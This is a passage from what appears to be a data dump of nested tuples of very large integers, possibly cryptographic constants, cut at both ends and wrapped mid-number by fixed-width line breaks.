3344229389417061410434625223887057735686836973840233515154253170653496303509344 514487406333756876017264327576176080343869564311098188362159000506683655723, 3456213442176042133619899338971397541266851616619811542341778013078750764423562 10428254174445953271734483451882764039805277562404668146249807543587431024, 5349594105950369335840924007297745568125164421306522734579660405900951504174472 99640753692040376216432324674323357195666917068911305875445770434552201935, 5402432405127507716156700258498306905669763487595973595000329380972734524813669 977419829748180688325735324926319623310141113941181704553678500399475417217, 4716789971760338590363793490315627545152574925676933772539950529415005278052087 763334516190323122669906432100076543401526723223511285978996495068189098020, 6933241115522000488455974718969684565637734064626198464002509095923145564016806 76080116069761412433249652762134842668383238493193717371759773468754361773, 8067707656359158246217011426067123650498612092762522639559870611857347716628945 98980279898081908648345140707945116290936715975412250661340204611070118345, 2569278861330820079613071581990091741366804799091206187124065590019066741153125 70878904974659416348816613213288156889246095022984901556861311347776967298, 1287760297351854073859699602218351598153773914282040249938133887192602075346099 309375376979593357618484636400911190796204481677841707960504576284308747815, 5821206017177831432594101117481072106168872538306636689506092719686177409876107 793823341569133977484015567823567356578011032590580200631062309722973929125, 6113617055546984521836164691191334854260680163736887419072701834689142299586507 635204802536385513719953119699707745025734954312759793189871246065208912092, 2048720837405461731915663856538361763266064068393596078470301002880913223329416 911544723493338440983411680669948974625173509534889471077533973409427856780, 7933772336333766628790959684256491537974634275517524689708028078275594966875826 091732547819643645768703552786724875772441349309545420906851774797771033236, 2269375312733714748871182593543038072805927521443644705710461560442276910359584 017892151190214014891011940101419169612681749634118986880367052273302402481, 8216978693393340420415643415286869814054666925213559088741766303695174903586561 288012921669587046426856726302967199699728995761101398232396859608687630338, 4642844633352931588024880630679555555759738708790742951094388970717764955669640 555282801872454986197395678802602981828663903185630590816967170006614697830, 2573724232908386442592633645485420688885956505601761381051700062802228585117118 2315168786152200857027172288497409915477620040275299020935414503446578420, 1811998638163887224451745566415840832595237267551265351435517892300753101671574 272119188413498161505860834648730479998803939079265847991991064148409703540, 5626618061097319937206354884060157441783882253476658041307124909386390510260112 858749092253614919678130291766423793403058031357482778244325642091445614263, 2799760155650537175527605068465260057298381047647273169805639356833254944447251 625051921420608294871845288318294667212245911047084781860746135146915825442, 5745396291993316735410596558093126743778949171997560673698648281328649662067731 754407440852870369354352566882559737007906212092505685790958300503314242728, 6122031826559183127414391648032649059029065314642094100595712956533393555051102 556371358187351676759589710643609158882005042564010250312559288167697119816, 5019247551517949972426670205195729470296243636926143411247029054275987611533451 515874490369358811352353007901196963935579746143047965051905730096637360194, 7602133361638222900066937810389743081068611880177556997530999584705410485094890 961345447824681137718714184523417544188795934591082555645460869055514179565, 6190492969993614287746072657403923852543531602326288342508596686180087286802209 244158509499956881365618198873281524443010277202728521946965018297512017990, 2030989207860092724052085791246337759679671155258696226898432816467059204703880 922670130183142616826463771892505080780758718905485143750806005727143449266, 5764983597294729234039610335961963865694147430673238876621628069468986391127918 191836245167950017065560957264623758667572935630945860103074682346899265196, 7445139211764446290242487409331961058444087184887610110335207754379099259429428 685475353460831482645855541109095734540353732503259651937843446141490998334, 7251032167756278798566551712440216015661659744948550156959391880019338814168590 503431130930562517447051127687334311448060508954046310183181480852313274061), 1126714450299186883997109975218048809461519299458705665290615974178792919081641 620396525819189741835487368580284325033904144380682783078138636377842702907), ((47665888955992725147741561069040160270507701330088009609417284271680096442331 81351123627505199668520598993049316896872307707660544390155102913342704617875, 7290647379065537976904276395877636479283125892393899841623400151375773588908397 642371003592431379114441717566760634976525415584149408114119906457010103131, 8171146207844284426956911123611790689355148314453370878443584911584796067282363 569163002702022702708030189519542798715874226065667260950115681513519806796, 2873045249498928407811826011694924981856371269182043342805462862780564668287516 791952559183570344696220020185065869707005644782637541740960100534335108184, 1649589595956580495266216616312685182529235457608578535327940717082162356432105 69080491430759566170484238515502234749617452894568887038968666152984267124, 4264525612142330643609135527947145939075555082082663796494929568631338594423247 068628046416035949555790475970685282839567503512523419122520210820629188821, 7301129701547434167198188507049786920095568073005043076609558818330072695316593 08804382823685092007488692603060315779970760575598816243731024161387475537, 3720639978898753839036410027253875287503192547397051305855971933458349296462081 279761127344989531824302432489140364183025626708947427963909996540193528897, 1905602222417788888123801802806244330480959044116425939360589392815617937765299 45385100802007054909827927538817936443069842574913415477722457842960736904, 7983769466157045427823364555725429464304875949896692971809082932839032602794812 448716762392543426041782424871020075820459012269996410508047261307052402511, 1643174692539734557447428910224564979302072496195642057694748457243963971508969 612613648328250740258183291338523951757534680797137304395280152286508134726, 4155737906736158750297916302602239693622237504579593092255659366516776787432623 155985648639837594190324929113627915090944625032048511446421164919674456874, 8238352611318035704920093307530778545410239633136313849751083003086285266940552 101384454331288372714786992275129351150078422942028532852793451349926960796, 4705105572141458684508651311423598825261218291452398623095013336856487310884881 882175645354092427304182752035489028969319219076826643393027914524372428268, 9287483887121275046018424757876322409114266036750876017582132924765832478254263 78310261677610687666258411952530310269545910025785332698094142159082844673, 3661712014213249000635432857011633527666379764860127206239628323996129719623190 301493602518557777518158455472095830640832900723199669473868058046573530142, 7758519212889308306169242294034178972976823560644513844223138091983685286543179 259538324179350035294806746905013102379989121085898502225001701146440623765, 2293559006008844958792851835917957182117022884674674161785582716844722300436793 524097026019232625972548117027072452178713006348476311158841839824339097049, 3107514176291324813728382439439879508381367133082460467137217359326600255022732 484651734011241748752668296910592297243701253343503082177005051035163051257, 6840773320643138248474089489283491520839368137567302615280778088458640018331541 476582371667832915021061792451379356429689723702691811583518792033985600475, 2160230676145915010463930206469248683917365093348016876742743906925493026018213 390077541895819634413905188933370570197639701086631143428174908179892566338, 4494236420564925912351339191583267731407581837111395727358259305672670635387631 682789706069585322642937892880525496227372912333037804676047215273668631043, 8114462369004968055902232757923616114386948237381813107978506644088353658753249 549803969338900823981775828939584234872348495233795632539385398892360390441, 4100222029906848784053826311484483664176260309888244787505695760952193554057826 269121641956923382614233777266715550427200586161284651831900477822849434623, 4614450616746472108757394278271368748556505460116045158393372578214683711656489 151339823098365705342738815559238195608783636486400930904798992546086666514, 7784992332450457340028322551346489613296353283630699076108543518193821537298586 379467238155022506815932242214040876269756526775806923190518038512227310920, 7765165508061963224543050166225104059950665915033169060831643561792556244343512 981953454662594701875775782382450865697339129819840588206980511752449237654, 8419033937102855422660107029978450642811830470183393509785375892428719893243814 020172647357534182310209625503962772580341134407652233085206134515352394160, 5052625852032275091038481099884970866181136647661389336050313305757672246524121 220641754269447005257029242825051634922263244854040307988510680571665389105, 2597193452942982809954913268403373948409016902309351283370488545242964472847678 665380173130923809994987937034883045186747038813213288532803446532138557992, 4984187489830038692944991190930724436778579251373726469205695027901855586123889 843703072774694167483800266918181170486599837825557953604282136026240869097, 1436398084187086746976102889717900848714152911306095338996398294399698717908168 173525692488283797799851809996072582019048670151725457933401505481343751480), 2413662418120212706840768066266458346689227505216864850109858245024323791932033 218110882298426484786566913351033007406939251994173459802447283425573725612), ((20821842267437500967724068121307950030191007848951774521138332674719281368884 37756252334352897709792935660991587488522636082795100319673931797039264128950, 8513378152858659937744416736208818291760237967324057369203042365833860063756424 74599956083038726563357171664137040499175686967619464631827363559040313534, 6529626522000671493119044272463503556524568139158570103057179363983102911782456 350622643022131622256019781962997118557201326212787146999045381598182866580, 4782760576627148192916006366283468938245653052240338912991714598981244477406989 113237734513668030022449163750077786704561594314352156034143298739615143722, 5249010784046990979956384482563389335893127485661063421138694197542461219308354 792453681135445573378636655514472237357236120900409878753873860728253760744, 5081409908941451926687181180263259210600774953886508136965012754673747777854933 687651181870601472165480422524646835771488264476908438028785964932831908742, 7473880995470829307522390939244163295029772143402229014816411913782327535444641 862565412732204268883896628986361371011122933876246792386380891749639723517, 3593798137748221412996678696168103884581104753488697988802364699894296638644105 884400559854970708598567804092964201286486364696367352974862249296152938552, 8601179200266500865965652209314517267548610897154757745065394774084508392578713 457520961893242001891857448075977743124363775501551939042078883853727827049, 8559314797030506137909277864778299478458611702716942422383094769789999207136466 931016668614658901463060493161658188735176534608557901866867761129343761537, 6435497274294090463955324969023716258237846091619194016810442516922647864018558 84085033773187519537286578821263204284202077378759082080897304987874902225, 8736028114861040445059229587935879144836468980814887231078027173587640998546045 241056285535209027080241079648178787814842109570014258798624349905519810297, 4767757761831793180093524137799645340725949119079716164574517437075246263582424 932261892740267383916467336838759101952579627492191183188349180726819723185, 1692322247749793749013420578442362195905064665201053661192952154093200639600189 408334115795209458935513425364804556963290953734651447070764021889931326656, 4902665077974050323826001900479484397133150891240767188640789890985594885592342 075920529819987886828128475951504110881419672471364090860745360109607789112, 8047181292865397641817780673126124176544030435927833470808753913329142510589350 160363601074706431908989264864741525257466278609165016138869528295485375854, 2019426826539568399468006520020069446982325124489276225228612985343878352860986 986862827382801129913628933901114606123892343027380914525723292504565027986, 8340411797204930901753043771644211109119519563582582861575542199463107838420397 119371849428620499254299193492917191108214384400470906936131612050169990292, 2438811166314925506690179430508267432158334057288213145290289158311212873008922 07022795640892250341300402130088643251552386625361352735091500124829597414, 4415709066481409746352073877603489921235506124513961140920860645536491455086823 827601420869252939719947955836895869033911002565724722219428787894688203346, 7054265722854469492117502211112645643683246338891258845881491974471757078974772 030736382711865735074933475885712330245344639784051922821909730141601925652, 3626361302237970499504112627376428904849909169195340423278311564179594615951651 482545097442083557278099805105877069306492168635889268033282456110340291497, 5595378087005697948683572875723229001756438340478627210880021559488197340203909 252006081088640615176956159693628160789632791335362810352888026967201710308, 4338853343951461043537956516555666937310183050995636323594154978902776572920803 608229914273709159072388008120978592114629806058564291603447465595276613754, 5990945942766806201422094513856229091227425961012179233205780550487349201040730 474272725914549384000269325279785132720240993557425017218469668396921888574, 4667922319857580749138679870178050929055778456586352212497083337232242653705286 71677098829688043230261443327404059900301769486228391493047472478054645033, 2448799534324066752386272695635093984686794098404566571400374024931715858154404 581202683529523794504346080204389833602819814493858084468110757801735353829, 6287309431322036711868313572590071822426318759642224498008971471919871678151074 32798269820155242422454775919384482619963923973911988124320920916635773988, 2138051486004817521354666145044493263730834344970359801123648170038190197622108 791158375619003554634212867616048267118576535147650537500454292576411497043, 8305734978557251801757682265953367606332084843158786813331670398814171725936793 619517439005054517011533775426608819542216715034159600333923619853105997956, 4535364380886803516389562835701293095971848706087952335409705657130089313982141 203495441124926209640782661642250615800800206160889168833253906419669688604, 4591513454780850003456823678964513381687652707838717566251559392008886763341858 285014931161301985032795781067183417739694724310512266224239373560992508067), 5321588773580142403642300811252817940134196034912560195974137905759167441673372 120804008283030585053400432472008781610448792776971964457456956527574933566), ((18233953730258419816387273976042580477403591709356661919191825496965549176933 58956813578128505515577403872248254400236767042980921232473005547431616994265, 1494572266329696603883208999191639885790946166570146851966830123521297305492338 008216091306929471014918867520299079264669724623713384076437923769218532199, 4953069798159602974324695951154118626906494134180785650329909229801186809235640 225415739294999477250938191977532920044033274786547301288216240407798228885, 3226791989720664756319628537244633364142161731134769138125058583135215071143769 214507615257431933622868514648167729357910739348218884009821873025670976678, 6601528672667852365111646770496903213616874167547274232112952223923372110672681 188978214061872132429433727161784015991768654442121903243055116152448503923, 2654027320615662640641689985614901789382956700928547641912786107759391938937039 450344954355356559974327102628401886523085107321403552449579289377281353528, 3583894375950456179615885827340243201726712723025564350654509270750760529668704 962928348004157399598777403658314638802037353533201080973506929083787512671, 8727785650573135168848625733021791921386666866847567851426105532064002849128995 497058861112615894647060354342078989795125787833497173572685136110645581976, 1129689607268802372632365491440165280627529119692406641637739630399628021601509 038649819569182593081695292989255376798964380304116538724946440664966845026, 6670332449492985331035049736416630480945454865907342714998273292729219706305344 248507724032593637523177809640048480284918104648308532163500506266168397426, 7218148564740825683991694030223488552764524530428500643261806040729004362097167 861866929009498535945335210983311538983263616375406546569594443961900304012, 8442697357893118658603015561820615947868982082803978585751580799718130163427370 544152764010502831005882652197715426186924543534430094633504712399755090011, 5980694984248127406676955421155826812352298712879811393990520885001550743390717 227649892384360803824699096396364419252840927457294361762820471807952586591, 4372218258736559685477810470551111339539878841495411562830615574970920023139054 917251282133152747999613382439306867226928176008500432292601899262820819519, 3590472820902956624530428426127603875078017605722402880816557106701276436294235 224540160517866881133947034484796758198149052918839212217864936544559398912, 5007406151528768534803436434324809324541811078940479409599509040877815448376573 456438018279505818074299678832692710253054571390252007161276961917827233416, 1110887781065968922467835409145170814784923437989526715970147820763414740756184 835199485949383388788091808010331809647168816240401376793220880519408757610, 7311885916854833186016283515674745347656564289654342677119053863653256708085443 271844180807087783250839885222687404390095635305790848435687387794855227220, 6548392459859425141325760008370102666431091246032767355503549819550316886076846 053272674287834300536097648935167485051760337241929873062395094904186865481, 6778492576729794228203039324382758185131598206365539515821031376138313523233043 127470841000040633907559041206353723610137726811728672306296077322856936533, 1857293931715727839910576802121744354290273721159438585396324593029946233117412 021574138508030725268897010568582007231555019936404721899119243436784512539, 6421864630800864709173115657119864057303376069245344509127721958048285638933949 356565147902841997775669977908584138805977290867239122896120013171325457521, 6527235298335834291208031336136248376018500034887924672085285819687512089756417 714065434497832821600754899233366503348761017814844826319259283067592692674, 4764454117222851164476210508993719825627916999479073063981345134009067346300158 485911572710383823475884049083371429921456643292200020122716584647497390862, 6784801029261022557980548565333085277007520267830714566914847074619742706104709 723766317102000507041497747675726745191636119055746757359347952317208823120, 7487613543741361285674088846825664298363686034551028172236006996878771889360122 284162589310812399274182458294326314147285635211674904477052797466983052071, 5372800123061121049581136590396674496282580960596911576576964475945226267219096 82023051133165859782183734535946862304833569703943677313930015945426369005, 4936355229448764685085083142925244840348999940756694102404292401136278190581836 618172860237747523845374159342945270280496085437910687237330434211249278874, 1531363949554042609510135047744926147962194874667988207160364726927199044642622 265534415015366687503231137382502465465455214205827156537452189560552870521, 3892428047555407465233497877659805101156630483552541322689730652019214157869326 147235008141929368102484808225065841231169694953360754092381018009668952819, 5981673840184948904499009069329240015751753969925413026926241925218125890950404 54864430816225128824777535795133828717536534989142028252254518509544561264, 7106200851796478917903132727958596532910049648799360231350308133936501784603481 097105433598898230718141357534300403176313663758732958103254347221615173052), 3091990190202411339207669738835914680259484132731195659820048305112360841429534 949134699137585533458286130769764959278394965973000826612949971348833265826), ((11180295615016718602766964891780926235093366249723322191530017232875341994380 39124395300212154842077043491420250308204021972690333462165847676441950252067, 8141626437447450858953568751757956397216057470274923528523539564328975487501947 034334859147178353674871122452944471501525740745149151316726803030966808917, 1567988201457932377101813585977966875015419812492765520918657696809678705083992 089258149729425311558949098864916117285987023921350811850653789221898204796, 3531954770078433478690170008971438864795482995553315484068579109773243624765105 920378417264866182586531274686338845294264946953476102909202604259784471179, 4345424787145875701994507083028824717246368311525721652674189601719842281877584 939981065887506388236661127076716122920035550422650785204230507239745015277, 7692378145644087808743770477477273997590507570191952013109937415870574276479458 113017894200418719455163220636347889441291068207093504341338023269071431644, 2893280318105424710404062594731911295558500621772721173259978738887054249439579 796687374698274633812581684762763118451946712665551063457913309705683755751, 4221780125864878779508865939011139675390670867934430823068824382585489745838243 327485942827277379602938307862624830414043920986667360631733257240654954053, 1959943063201081145305484481827686745991200871927468268405034570540279052045153 663092809468400070059596593805995984456181402518524413580668834318654841996, 1659479114753110219664508907467900326708002541976197795675255056589883634373019 569143316653159733311321631251996845887289158470358345090325172170688461245, 6878869836400108837340540454142467395641012296010999259119480525827453051567842 012122782066207329007929591006501340045467425331243584592155741679735349827, 1202561900002097849311753191722996052949461066430658738328009033075118435080572 499393289768639818699457097007450281104608923023834320491892527892222012384, 2556147359343180613336382607343192696167907909279294528622317965544644587834105 404317018490943541280498313558702207186090786896623000885608308584570841079, 2851090129578048292005719303328579679149928336370398063883700965189127227219122 116425984449728190246832589516291507552065968851084225229432153254874746871, 4211408666688397828251447862347134687701673942504583066934996343209967789903387 748029387036519245303956193936374366847133391470462520650628590372798750093, 3026277535435071495200659790797288933917757974652559824718973314891116358123825 786552941554308967560578051312678113397117614005134133441306843001110155578, 2607244729798621838929756317299259005461337038178600178164401037939882724835851 925259481299053230046549745679639865755486552794723358994369541328675649348, 4781814703087583851190369393198040868249732052050942501322564433358502693513198 64298547581899034024959424326522542151752293089098696216843675065912479513, 1982126601384300213847778182413797366027026038113135430832683004649345341247494 785403459713158877296915388982205225518882260429808406848161139118246595853, 2273555025931937626339063153967286278690287981643249336769591164618151706203259 864370875674676561885949567326413890616163376037649389611456047286340823093, 7192523920182711343226821761008515664288750644104149483595619652810210837664227 073031349385077573231350672081840631105718292955637608332553995167873461590, 6297774911468137307934927262944857918631471033258926869140991006796712112136645 379135628243061859627050446009885124036227162361390073579298176929327027217, 6948881945417344860154224909819815752470459403566394046696544757295885132574530 419910460568694571114561990910329361244857153186088446722241380447916967424, 1176764470633978447420871763529643299143237734619838962738801679096825230840967 980908899509243734776439922119898462943834430216793715261001961505420243912, 8056607322691224014373288119599881448834146002140745846902364860284061386616282 966932082026646071861048359610147778214541254413363944474597383985189703755, 8537094226789850440799174764816615787238963833830344848527447654108440098577773 722770444991776862323581802775435183975645203721038667599864239000361233649, 5312484421304595861320315300490008089831697995418484017771842216762022577840062 816731906363596397036663128829017314528364842154817491974286527681903714604, 1955765762429693161911516943428127822617494095820705182904829968424886193217442 446028810262373685081922460298509158526189462237972756348453297098583655325, 6422988675453485556105937281326114372789930732428965956546476907794696640447832 645963613516445114382763453825921738830503108899363768251784673975758738788, 4356820211381418789810495322612708201336819488071936504613116859617315467175419 116639279356136443588183589155565595229098864211931522605207977055536890109, 3014997855661753578243656399304283630423124447751112062411211154371276100434516 779853850007427658336263354655376363990720489883986689906843588483648720788, 6275759489078000806144681130997516945422134072028091358632219729771357459976135 817003343195912080179645839655143989412264890734947310310982984438779155825), 6781665319184578676452936503845394761917497468499205752517755787452462715353868 860216499764450161326247022280283089792949228638461619676587987620547311220), ((44196925970340493071134234465262961635116863886099413875387680395619525070283 05141696681096050704236146289458313404861050880360023371068862813408715761478, 2014217116676711177847951781300561325717437148606864702676125113946082458911861 73901230872526533421773386204836688310663611920557426142800234514949945056, 9792197634062673738301555450289948182018891854151315820991200965187244690517183 0640725060014312582811594287906015158638677677049485683662350105090240493, 1927350901622918620149811493213876742219102876177693908161047912224555792618740 568966682371658194156877804684703673195493368922188848054121154304174057065, 8063568045366783408602574158223823290515759992910691621666698826012417068397350 963965822005251496233365779283567027993727438664694357510454117839196834494, 2787348318017821647621886768372644718089075519575182364421615019604292530010343 020050739919171330031879162847098181901771674789752073493672943862531171159, 5904707807355409266150492287875293674166858993470890482102316998908646875129886 671702467565041271305671339508973478409608461088630372668374214630219123305, 1377218098881813454172048653142631439123123865216084423714437470639648166893531 700569364758450137115238926094885275954432151530171474235596609110191473198, 3126395160557841288266268423540623392982761392846367463510600734181227660072601 662742849442950290329357058076136204164829619498064817688026839952301529826, 5072026490345757450835222008811073635023179817403642555868692981810087186947668 324279589034157789254555557595003821836919022000864059739689925949743951869, 6474944132598629103650938718022487241677175253993683120508922587049599708764306 095724481653216623016350467164515511859483522000718970938146574889112897388, 1524292541220656114134136823960134761631053671411228833029576225105017154872726 351630764890778770566851310184198954009886076933290592401872314352664910355, 8018652247642213665463415016351269515195877819557948970326875628834663502418568 270721539996059882911816187082113121753456673319671219177988597301991108345, 1404275773733574482163002128701618972127255443352138679547092031564517773966068 111336479150612390392729776818212799610949818700504659194944255613023681184, 7567608921660993386929369563508580939853047497795390302157311742695048055682183 686615950386614912506668596437893979839009546427873804538272872007278280628, 6189254397803316002045871692048041013528354458484923762873944670476462436390755 826305416254299580640617822095499664685083992109481482031930804717370292857, 6907198475121180542273005355149818843579697879106516234700098629755762822454092 159071174542748413142320213108854097870427203223216172719691667575752820592, 7880835233515330766637641851245125614457220277370002506922669435264843478902026 858008535614251741535856743903356618413477638613098070665099393070244484185, 5750216128609614173873749629954497535469796436216317406940838331396616960245444 538801827121628142137382877365763618237944221572837972462285987765511434758, 6596635849198113355842616292600785262790344397222858192032935585115706598711828 737763274764331938921883675360998547722172402151295261416118099746429524383, 7693233319321435677882367600431652840969059478047498955111420690423246292005787 217681232347151948757301442533348172566619594383047548127496634279089426769, 8584100157690674370521868408729680756983411898067875316586081064669965473704812 814574232111119534600260506729008318451639949574791792287455957568739063333, 2506265382197613766660101798393343018360496533077044461194129479826532283448682 245952789703311702663666928372776911472613438970781036717495710438581297933, 7957600978903441112778830743228322777791671632198953883730114442807001256420656 78838289577725077362022257160656031234019745428315877851734665861901642874, 6720565860359458773664199748807632606833097860608203798225010176038355647883346 302941028576907105291807911291121384943396358061220097642722374875251675713, 6203729537698273017189480929807510166185944781175456700760279142874695760119553 182271170774174876586742642070709538396589128398115442044710992535252607087, 6094593525725453357705279041029798899528703843156096594833523051747695504552819 225475799146497115020331233187448325492228194373002851817068926424241445374, 8770194947875132874808867963591278077601342178917122474903795550570169727337466 199016191541837480682954659236371993131447262601831043618447318059346028322, 1127631599252986454417905098900744521321432731982460203576810093558707196017264 836775115666625971580525280009012400087075239741293511638874542094820679806, 6943654598521782757143496327231936046863659374982721400080942792927780427887178 120020187207296706872055714190858755882771144494073169325712559848895036765, 1990110789498425971826382145405877251022674674833606895205819162654008770511243 206349037702196292183001116332567867797576629204203762514477852577936431967, 5432025655090349676687920034666275942378710225650330656732753065824227069273445 426674563454462349122041376743152107069656556125378116322067571534188212403), 6910026621423694653767960204741190955759893086253059499036146382377666383784358 085715396510225938619818123303783294766212112881180521297437378462146281721), ((75516520427314189305803531098996500520461318699537359743611184102777752940762 94875825010544191980678567143630566832536100595918103649259377755406690520096, 3869044575069462687935985774182666540825667446561677856202813715055708422520312 740577111756138654187671857749168870495287812294353646968576617881148699571, 1322159100299079442285088408819807396341004885433315999849932431776519375867083 234188377042014602391633688813782669578370717677839734691635907103618020762, 6669389959587679683685856994578398255660285249786235018693754708646604280630198 309848131428880414694158508723834986748419356378971323742154087985539226492, 4128508121663978432872074893894510207167255152977132830089570921923020506113427 83278323031412776265142611093439789172535113147778797786937819887908359307, 1510039759396272333679862270494551779497537205568989270692566274132171499782110 663724994697283978238908244333917169437855706415188100277154268837308620195, 1705683106252987110854110004141933794599086177368466229221495833278969949892556 62115274373775061235000824772652223066890270972913131466061693806117934794, 6425611124824460709245875766008162708111035190890117746823933171982742440650666 857807613887123239811539086323690596706328649533934794066910014625573588835, 2054644001721062985788996601148600467934015637526088608953345787388307804503208 708169443003881970816432712800748805111300768676380355155777067016490754986, 3226764552661115425131617221594705219479973720449574594469957071048835562146858 529572067155511803725885552705252343307505108122539656659522425398323104540, 5411242128148394329114253830279132406947120041975268674404585311232914676653684 828912677370956237804553352568634361045444556555823699108196831378887083705, 5665543178629705591463481100596710173868375392277987954571519738573872942851365 693780069437429649666666814393052050843223741216846758778324924828068423988, 2061608051091555829334222027974557834214409439358058858968481528207650230509805 256592841597534720151201196840148130885559665030758645178171706272041230336, 1680829796141813682490626352606348720610163519187162575160373204066671440765938 922678135382719462304029624139112033807587937595590333133476403141566522409, 7817253317399965875015737014909878452173880346959928834263198779611567488811765 753120515971953127661551214413294197952618235746085857093541834533356574358, 8100973997175758948423293143048310037709785072685979459010825037346926451262709 502782436029899985133567878262631301986477909273326509959712568587436601669, 8747090013598604554682262319309043220285307031630212081458854055634795716204824 946565924213656785758857078945951572804007334030318577679358071798574418790, 3029327465382805975990755052502654582297420593363013799840926746456032152829164 204105297733116564726001321314620949003737993055753435747550312451648967439, 7774870457010198858862492492710337731208084123069823267844130902427213636651721 70575620123470733429359383461699212302012133979157538127015973477956225754, 3649382933805191429020362848469521891807824439549628349595481214027344586133387 614345205933887564018026122983687539687413172425657075503137885366753283030, 1724618259287548200636173186902928847964122387466214484417852416100207949292692 273689013272485608608906074652631484001524171906200136706329959065486692923, 4582716261297954885582007439068932506914538225586174005720955281917752756763148 19534623102395308410879854835922790467002595428349104054184666093604154506, 8181553765781052450524361977839755547887792373553547981933908166093827985885570 918160780047550184371506642685247261899068449804971417566104697119972042442, 2748599269486457072648054876762210514571049106079368411904580679009574157246843 278801189442242244871104970962492707652771468679798174152048944229008969505, 4808195872896966766408008991875433857778484041666334571326153681310773181964625 600407802561260038906813770989637029786229939967543933632596287259041407729, 5874692877045386233502215865867178057757108491405888490441454984211645155851850 344304195261397888560166428395338368763885094286150061859134428102150329603, 5523447927138676428075900275211896101042027047934303576191367373291644297848034 275691159444290906951557344026440367848848553063120066484504767870601987562, 4682672307739914173254890961694337687290028054122610469401525863753039046452652 693234407901304446073852845357014844743102096748622303382009565976848359941, 5088796062496458974050353701065159104899244661333803692009241654634977049221342 458518122362190012015904850221279253782878946491824478585097498399444612873, 6857946589111463445470644282421949673527780883748771736337241776887838100102842 536346603412772494739769893176409995268384466113519887556280315231545128122, 8596840312275277070153720488625152869300818180162272477171554764236196512838434 481211232356761066887988910884533077360588816441381648683098088106482826246, 2458009180177312505887135214101314889313402399256406226584611168675250031629430 320877224617614996003674146893393736974398618394207574986867577368448381039), 1737981265631341907435364114371566257965653982132236236623040055069450838037829 694073567202085655215441175928585040781971729500911492295684739386252545168), ((10160011392117240613600621635211572929589787640010533459026140550357879996675 63680116866888708539139997933325445004559506537553669501192994642907639817177, 2999340561869995166404386423652540995075758162620405990837470414236741081141193 202518514121882016443218209113649405260108979029048404804044530535570247583, 9642215898371079287601365523662623049850629563391263809364920159979348974485404 44322409003774546080326919707814100667761491474837124345817169014931361926, 2368849484397959615524614271477209245663616745711549497270742021503504270311074 631041049187823723653878072485258954671121541651866472541246851039740602802, 5241066928075490227023868703429502078004871258236746996675288154338144348816371 07012373823703157779562362870022129356105036417209375960788593999449692042, 6947999374403842276732730763202141565044362134167051080897504089230404897594470 958062368016886313643180534259581480534485368070252628615528374218340499675, 6059400045434555743579350757436347420851841612885871766934834535516083420169779 020921765910820282958425084722533009295104121082887864960654375554122011995, 7206823433948118127401539159919451854238216974207865069403414967508731160842514 424260210330994955563668544735224668872169213946101901460363866118023391030, 3897115182091225076302854552053731229025781986148767062760592479038859309229418 57652306935983277314418001600850326928949426303257741323130104954569488950, 4765384774435860260789006971488573534769984744866142575461299082513630907347806 219948608755444247946005097753290015135499221699793095881853612218171812241, 1940762208038391615691300490023010361962245063485554616602671804200958815176770 790618411433791340694053687514868206328930460410266633349168723298806914001, 5648061041135784155301703779507116852983743791514120404631205551751982440389982 516303038767057637192822578360767923897779412135273145794382736259651566475, 5670785050416768048661295599700728562794584926356135268769161533135891050578216 157298262947513584025369180885268423052578826483624408960799632118283938061, 7645334275058896539928294110909645837700312379401889944835996997204119625643539 971933655485676863525005918636057429825973279822690306371554888415778018131, 4604263530529450466314276998287891874558871017021551617891059282066871426897921 968382315167286588516121348440137764097347104758018230704936154888981175297, 5575527600778303033913103668100732353804586024325961061581065383035800963722661 994550661372061880744733490402888623083120466901575386868990304339386311461, 4886142623638310206789550658112449864035094460893282934021244582595709603716520 230057003070561124983224571102515341149775556004775452415498063623488362141, 2253686613954277236537535558769173301391214761139033282831698994521082042111762 205770211243923807694098984858943767218637870634846507843087471500591949449, 1220946105566836726850811502741377507872231000803038308627435882030278952137437 820960453117705737162465277516710694479810545507615611294321691525299815937, 2256874868448166997362047005901229561984046165980257264424477860800133096110767 758656747585101346134701873954366859672046790309217147408443038270848535800, 3847202370906743499319883243034336638376621386755033961342218730425280572151213 435345846378923990880607365890674400861254393045176197664717846351752121512, 2375723297467805286179713843884806834888070710956619271063896519957090655692423 276135225714441964884627041721311754937766922156870346202169600123487818893, 6402483846037153025680109154945837295461123871505146678690719210437669279024630 971839468673838001308602329105735508606084077607113854580379886363241966332, 4426378498993431205750809633874165664435877849371289221236731528940020842109098 499742369355906451643521795598318052294944061261819923191195725441901711850, 5636651750519046610918635238825227294433330141056112841416307990731340565009201 720977409632958094857847431272950960545166626105874957470613281222839725441, 7570325642129944781819637940439801515930424832616343875676522996310169796293577 32276416577644127539836352738603832230844272038213732967955967094592652411, 3497516701144854163640765297985251357319945617903582538030183468687235208951533 771801568790944413996391771595679155423409471167948188740266101028980130247, 5821644574845498971661588250741232158795152763438876989163827165098404048106031 87317661629235851632639479697235164449365379383556136168581159995119517862, 3892087462114094210637399758939562789936601176482811791388846689583717254713339 843076031351583473129519489598141969193667659585869748224434337392371765867, 4836734182575359701174491577776784799125260478421991256910616837787079779718618 62491635882490664738498013430482867206997345390408328995580322335690017171, 5761054375521536343088395168712331362777056594340246298337027388922142220935034 799586317253905291166866699214283032917499886351840658685154601192584227353, 2632537122379269553792120489169795224183987036357874392972990228413174882369964 860337662700818913429168874221442504903275376598264484148951674786036595060), 5816164662103723238346984006085254559867229583249553334157720612530902969126095 725128741206699551611787123013423153277409590605618134590070421608899972627), ((30385736570082421893128373362171157569790737348645039034114748034443447356010 8927363965856375014149319643855665260080776847008641452620951105919279244477, 1673299424204353433165890415502153588878388170390611480431096141700231493105594 617460882095590789743324415920664265529118488594677886489999834035518294284, 4205182523223176715241237713174393386770586826021477370704750226760127757821040 192640105740646498244402814554714713736897739622696147407392824647723851651, 1015586617078849169186912268508777797740444722722269289453604833666233085418971 925481521649828540398482290178515404977164402101725981693885431355916683051, 6822568834996798825143190451492106633489189001135117372638148646702200213586038 320748727078037112078342028806308445075858782543515193619336747347972084045, 2416816575838556654023415759309651252993814014573289624616343356817079157748324 409302641795449371447966031525888408755376397674387027564104208886556882479, 2200328190491537396696663326529652129065074141537696774264814985255472396074926 934723962388309309878458299274948048511867080710175021269453453799938967675, 3729617234121502208872301911071097413673822338424544454670874804840107399739749 242704057435041352507715083883585091442969884624747053259778640230163229103, 8856413600729626655329214748678565939478641640831086760466713256393974195777536 871079803528359810077209475798728952191809866598728214795268992571518723928, 2860734841843186230129625537519594182253183320710043328833191545388072628960679 962923718261985509111986393681926945257096447954189874617661682106264178762, 1765193290457091308474705453884210863724997699336288534246781337108882553456932 444717189159237684160967679269686137976411043287012471137215210483087384277, 4774754348143800483095102769000082468346846040219800813506813019761891172191440 